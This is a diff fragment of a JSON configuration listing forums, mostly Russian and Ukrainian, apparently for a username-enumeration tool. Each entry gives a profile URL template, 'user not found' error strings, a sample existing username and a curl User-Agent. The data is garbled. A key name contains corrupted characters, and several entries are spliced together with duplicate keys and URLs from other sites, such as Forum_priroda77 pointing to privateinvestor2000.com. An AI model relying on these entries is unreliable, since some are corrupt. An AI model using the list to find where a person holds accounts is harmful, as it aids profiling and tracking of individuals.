+ "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_primkoniponi": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg2": "hidden\" name=\"quicksearch", + "errorTyp��": "message", + "url": "http://www.priorovod.ru/blog.php?username={}", + "urlMain": "http://www.priorovod.ru", + "usernameON": "topcar77", + "bad_site": "" + }, + "Forum_priroda77": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.privateinvestor2000.com/index/8-0-{}", + "urlMain": "http://www.privateinvestor2000.com", + "usernameON": "olga77kol", + "bad_site": "" + }, + "Forum_prizrak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://prizrak.ws/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://prizrak.ws", + "usernameON": "Jockers", + "bad_site": "" + }, + "Forum_prizyvnikmoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prizyvnikmoy.ru/index/8-0-{}", + "urlMain": "https://prizyvnikmoy.ru", + "usernameON": "t1984n2003", + "bad_site": "" + }, + "Forum_pro-cats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "http://pro-cats.ru/index/8-0-{}", + "urlMain": "http://pro-cats.ru", + "usernameON": "parrots", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pro-edu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pro-edu.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro-edu.ucoz.ru", + "usernameON": "ViMo", + "bad_site": "" + }, + "Forum_pro-kleim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-kleim.ucoz.ru/index/8-0-{}", + "urlMain": "http://pro-kleim.ucoz.ru/", + "usernameON": "4047916", + "bad_site": "" + }, + "Forum_pro-zarabotok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-zarabotok.su/index/8-0-{}", + "urlMain": "http://pro-zarabotok.su", + "usernameON": "grusakpavel", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pro100warezz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://pro100warezz.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro100warezz.ucoz.ru", + "usernameON": "jasurbekvideo1987", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_probiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://probiv.cc/members/?username={}", + "urlMain": "https://probiv.cc", + "usernameON": "Valerun", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_prodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prodigy.moy.su/index/8-0-{}", + "urlMain": "https://prodigy.moy.su", + "usernameON": "Jap", + "bad_site": "" + }, + "Forum_prodjex": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.prodjex.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.prodjex.com", + "usernameON": "shriyanshi", + "bad_site": "" + }, + "Forum_proekt-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://proekt-gaz.ru/index/8-0-{}", + "urlMain": "http://proekt-gaz.ru", + "usernameON": "gaspar", + "bad_site": "" + }, + "Forum_proekt-ts-ow-wk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://proekt-ts-ow-wk.ucoz.ru/index/8-0-{}", + "urlMain": "https://proekt-ts-ow-wk.ucoz.ru", + "usernameON": "demi", + "bad_site": "" + }, + "Forum_prof": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://prof.forum24.ru/?32-{}", + "urlMain": "https://prof.forum24.ru", + "usernameON": "lahamar", + "bad_site": "" + }, + "Forum_prof-foto-video": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-foto-video.ucoz.ru/index/8-0-{}", + "urlMain": "https://prof-foto-video.ucoz.ru", + "usernameON": "Montager", + "bad_site": "" + }, + "Forum_prof-rem-zona": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-rem-zona.at.ua/index/8-0-{}", + "urlMain": "https://prof-rem-zona.at.ua", + "usernameON": "radopitopit0002", + "bad_site": "" + }, + "Forum_professionalmuscle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.professionalmuscle.com/forums/index.php?members/&username={}", + "urlMain": "https://www.professionalmuscle.com", + "usernameON": "lk3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_profile_astro": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://profile.astro-seek.com/{}", + "urlMain": "https://profile.astro-seek.com", + "usernameON": "sduraybito", + "bad_site": "" + }, + "Forum_profootball": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.profootballforums.com/members/?username={}", + "urlMain": "https://www.profootballforums.com", + "usernameON": "rowdy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_progagarin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://progagarin.ru/index/8-0-{}", + "urlMain": "http://progagarin.ru", + "usernameON": "Pol", + "bad_site": "" + }, + "Forum_prohashing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.prohashing.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.prohashing.com", + "usernameON": "lewishamilton", + "bad_site": "" + }, + "Forum_project-ss": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://project-ss.ru/index/8-0-{}", + "urlMain": "http://project-ss.ru", + "usernameON": "oleg1980nik", + "comments": "bad", + "bad_site": 1 + }, + "Forum_projectpokemon": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://projectpokemon.org/home/search/?q={}&quick=1&type=core_members", + "urlMain": "https://projectpokemon.org", + "usernameON": "insanenutter", + "bad_site": "" + }, + "Forum_prokireevsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://prokireevsk.ru/index/8-0-{}", + "urlMain": "http://prokireevsk.ru", + "usernameON": "WILDKATbjr", + "bad_site": "" + }, + "Forum_pron": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pron.my1.ru/index/8-0-{}", + "urlMain": "http://pron.my1.ru/", + "usernameON": "Belryelug", + "bad_site": "" + }, + "Forum_propisnoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prostoljud.my1.ru/index/8-0-{}", + "urlMain": "https://prostoljud.my1.ru", + "usernameON": "biblicalstudiesru", + "bad_site": "" + }, + "Forum_proxmox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.proxmox.com/members/?username={}", + "urlMain": "https://forum.proxmox.com", + "usernameON": "emunt6", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pskovchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.pskovchess.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pskovchess.ru", + "usernameON": "shakh", + "bad_site": "" + }, + "Forum_psp-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp-club.ucoz.net/index/8-0-{}", + "urlMain": "https://psp-club.ucoz.net", + "usernameON": "swp", + "bad_site": "" + }, + "Forum_psp1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp1.do.am/index/8-0-{}", + "urlMain": "https://psp1.do.am", + "usernameON": "serg2037", + "bad_site": "" + }, + "Forum_psx-core": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psx-core.ru/index/8-0-{}", + "urlMain": "https://psx-core.ru", + "usernameON": "pvc1", + "bad_site": "" + }, + "Forum_psxworld": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://psxworld.ru/index/8-0-{}", + "urlMain": "http://psxworld.ru", + "usernameON": "majerock", + "bad_site": "" + }, + "Forum_psy-dv_org": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psy-dv.org/index/8-0-{}", + "urlMain": "https://psy-dv.org", + "usernameON": "Michael", + "bad_site": "" + }, + "Forum_psych": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.psychforums.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.psychforums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_psyche": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "возникла проблема", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://psyche.guru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://psyche.guru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_psychobike": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.psychobike.com/members/?username={}", + "urlMain": "https://www.psychobike.com", + "usernameON": "streetfighterz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_psystan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.psystan.ru/index/8-0-{}", + "urlMain": "http://www.psystan.ru", + "usernameON": "Olsestar", + "bad_site": "" + }, + "Forum_pt_at": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pt.at.ua/index/8-0-{}", + "urlMain": "https://pt.at.ua/", + "usernameON": "novator197726", + "bad_site": "" + }, + "Forum_punkgazetka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>http://forum.quake2.com.ru :: ", + "errorTyp��": "message", + "url": "https://forum.quake2.com.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.quake2.com.ru/", + "usernameON": "Khidalov", + "bad_site": "" + }, + "Forum_quakeworld": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "not return any result. ", + "errorMsg2": "div class=\"table\" style=\"margin-bottom", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.quakeworld.nu/profiles/?u={}", + "urlMain": "https://www.quakeworld.nu", + "usernameON": "renzo", + "bad_site": "" + }, + "Forum_questionablequesting": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.questionablequesting.com/members/?username={}", + "urlMain": "https://forum.questionablequesting.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_quik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.quik.ru/user/{}/", + "urlMain": "https://forum.quik.ru", + "usernameON": "swerg", + "bad_site": "" + }, + "Forum_r1": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r1-forum.com/members/?username={}", + "urlMain": "https://www.r1-forum.com", + "usernameON": "rabbit671", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r3": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r3-forums.com/members/?username={}", + "urlMain": "https://www.r3-forums.com", + "usernameON": "renboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r4n": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "сообщений не найдено", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://r4n.su/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "http://r4n.su", + "usernameON": "43Radio43", + "bad_site": "" + }, + "Forum_r4u": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://r4u.ucoz.net/index/8-0-{}", + "urlMain": "https://r4u.ucoz.net", + "usernameON": "adqeep", + "bad_site": "" + }, + "Forum_r6": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r6-forum.com/members/?username={}", + "urlMain": "https://www.r6-forum.com", + "usernameON": "tylerjones997", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r8talk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r8talk.com/members/?username={}", + "urlMain": "https://www.r8talk.com", + "usernameON": "stevekcropper", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ra1afe": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ra1afe.ucoz.ru/index/8-0-{}", + "urlMain": "https://ra1afe.ucoz.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_ra4a": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ra4a.ru/index/8-0-{}", + "urlMain": "http://ra4a.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_rabbitdogs": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.rabbitdogs.net/members/?username={}", + "urlMain": "https://www.rabbitdogs.net", + "usernameON": "bigk", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_racefans": { + "country": "🇬🇧", + "country_klas": "GB", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "You've crashed", + "errorMsg2": "One moment", + "errorTyp��": "message", + "url": "https://www.racefans.net/members/{}/", + "urlMain": "https://www.racefans.net", + "usernameON": "douglaswebster", + "bad_site": "" + }, + "Forum_racer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://racer.do.am/index/8-0-{}", + "urlMain": "https://racer.do.am", + "usernameON": "Jessika", + "bad_site": "" + }, + "Forum_racketboy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.racketboy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.racketboy.com", + "usernameON": "Limewater", + "bad_site": "" + }, + "Forum_radio1": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.radiodom.org/index/8-0-{}", + "urlMain": "http://www.radiodom.org", + "usernameON": "Andrew", + "bad_site": "" + }, + "Forum_radiotehnik72": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://radiotehnik72.ucoz.ru/index/8-0-{}", + "urlMain": "https://radiotehnik72.ucoz.ru", + "usernameON": "akhmalik72", + "bad_site": "" + }, + "Forum_rainbowhappy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://rainbowhappy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rainbowhappy.ucoz.ru", + "usernameON": "FrankMate", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rainmeter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rainmeter.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.rainmeter.net", + "usernameON": "Jeff", + "bad_site": "" + }, + "Forum_rakesh-jhunjhunwala": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rakesh-jhunjhunwala.in/forum/members/?username={}", + "urlMain": "https://rakesh-jhunjhunwala.in", + "usernameON": "arjun", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_raks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://raks.com.ua/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://raks.com.ua", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_rakursy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rakursy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rakursy.ucoz.ru", + "usernameON": "Schoroch", + "bad_site": "" + }, + "Forum_rakwireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rakwireless.com/u/{}/summary", + "urlMain": "https://forum.rakwireless.com", + "usernameON": "hobo", + "bad_site": "" + }, + "Forum_ram1500diesel": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ram1500diesel.com/members/?username={}", + "urlMain": "https://www.ram1500diesel.com", + "usernameON": "kazimodo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ramenskoe1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ramenskoe1.ucoz.ru/index/8-0-{}", + "urlMain": "https://ramenskoe1.ucoz.ru", + "usernameON": "gorodisskyru", + "bad_site": "" + }, + "Forum_ranobes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Just a moment", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.ranobes.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.ranobes.com", + "comments": "cf", + "usernameON": "Jaeri", + "bad_site": "" + }, + "Forum_rarib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "DDOS-GUARD</title", + "errorMsg2": "Информация", + "errorMsg3": "технические работы", + "errorTyp��": "message", + "url": "https://forum.rarib.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Поиск", + "urlMain": "https://forum.rarib.ag", + "usernameON": "kokky", + "bad_site": "" + }, + "Forum_rasmircoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rasmircoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://rasmircoins.ucoz.ru/", + "usernameON": "Faghouri", + "bad_site": "" + }, + "Forum_raspberrypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://forums.raspberrypi.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.raspberrypi.com", + "usernameON": "adam", + "comments": "cf", + "ignore_status_code": true, + "bad_site": "" + }, + "Forum_ratsun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ratsun.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ratsun.net", + "usernameON": "datzenmike", + "bad_site": "" + }, + "Forum_ravnovesie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ravnovesie.ucoz.net/index/8-0-{}", + "urlMain": "https://ravnovesie.ucoz.net", + "usernameON": "Светлана", + "bad_site": "" + }, + "Forum_ray": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://discuss.ray.io/u/{}/summary", + "urlMain": "https://discuss.ray.io", + "usernameON": "Lacruche", + "bad_site": "" + }, + "Forum_rayven": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rayven.at.ua/index/8-0-{}", + "urlMain": "https://rayven.at.ua/", + "usernameON": "rayven", + "bad_site": "" + }, + "Forum_raznoe-vse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://raznoe-vse.ucoz.ru/index/8-0-{}", + "urlMain": "https://raznoe-vse.ucoz.ru", + "usernameON": "egorsmirnowv", + "bad_site": "" + }, + "Forum_razrab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://razrab.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://razrab.ru", + "usernameON": "ibev", + "bad_site": "" + }, + "Forum_razvilka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rbk-portal.3dn.ru/index/8-0-{}", + "urlMain": "https://rbk-portal.3dn.ru", + "usernameON": "BeLoNe", + "bad_site": "" + }, + "Forum_rclone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rclone.org/u/{}", + "urlMain": "https://forum.rclone.org", + "usernameON": "Alexander_Andriishin", + "bad_site": "" + }, + "Forum_rdr2": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.rdr2.org/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rdr2.org", + "usernameON": "Parzival", + "bad_site": "" + }, + "Forum_rdw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://rdw.ucoz.ru/index/8-0-{}", + "urlMain": "https://rdw.ucoz.ru", + "usernameON": "jabbarhuusaincs", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_real-sp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://real-sp.ucoz.com/index/8-0-{}", + "urlMain": "https://real-sp.ucoz.com", + "usernameON": "Yuriysap", + "bad_site": "" + }, + "Forum_realistzoosafety": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "banned", + "errorTyp��": "message", + "url": "https://forum.realsurf.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.realsurf.com", + "usernameON": "admin", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_rebkell": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://boards.rebkell.net/profile.php?mode=viewprofile&u={}", + "urlMain": "https://boards.rebkell.net", + "usernameON": "rebkell", + "bad_site": "" + }, + "Forum_rebornbuddy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://rebornbuddy.com/xf/members/?username={}", + "urlMain": "https://rebornbuddy.com/", + "usernameON": "tony", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_recoveryRU": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", 